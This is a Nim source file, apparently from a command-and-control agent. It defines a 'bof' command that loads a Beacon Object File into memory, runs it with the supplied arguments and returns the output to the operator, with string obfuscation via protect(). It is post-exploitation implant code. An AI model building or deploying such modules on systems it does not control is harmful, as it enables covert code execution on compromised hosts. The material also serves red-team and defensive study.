import ../common/[types, utils]

# Define function prototype
proc executeBof(ctx: AgentCtx, task: Task): TaskResult 

# Command definition (as seq[Command])
let commands*: seq[Command] =  @[
    Command(
        name: protect("bof"),
        commandType: CMD_BOF,
        description: protect("Execute a object file in memory and retrieve the output."),
        example: protect("bof /path/to/dir.x64.o C:\\Users"),
        arguments: @[
            Argument(name: protect("path"), description: protect("Local path to the object file to execute."), argumentType: BINARY, isRequired: true),
            Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file."), argumentType: STRING, isRequired: false)
        ],
        execute: executeBof
    )
]

# Implement execution functions
when defined(server):
    proc executeBof(ctx: AgentCtx, task: Task): TaskResult = nil

when defined(agent):

    import osproc, strutils, strformat
    import ../agent/core/coff
    import ../agent/protocol/result
    import ../common/utils
    
    proc executeBof(ctx: AgentCtx, task: Task): TaskResult = 
        try: 
            var 
                objectFile: seq[byte] 
                arguments: seq[byte]

            # Parse arguments 
            case int(task.argCount): 
            of 1: # Only the object file has been passed as an argument
                objectFile = task.args[0].data
                arguments = @[]
            else: # The optional 'arguments' parameter was included
                objectFile = task.args[0].data

                # Combine the passed arguments into a format that is understood by the Beacon API
                arguments = generateCoffArguments(task.args[1..^1])
            
            echo fmt"   [>] Executing object file."
            let output = inlineExecuteGetOutput(objectFile, arguments)

            if output != "":
                return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
            else: 
                return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])

        except CatchableError as err: 
            return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))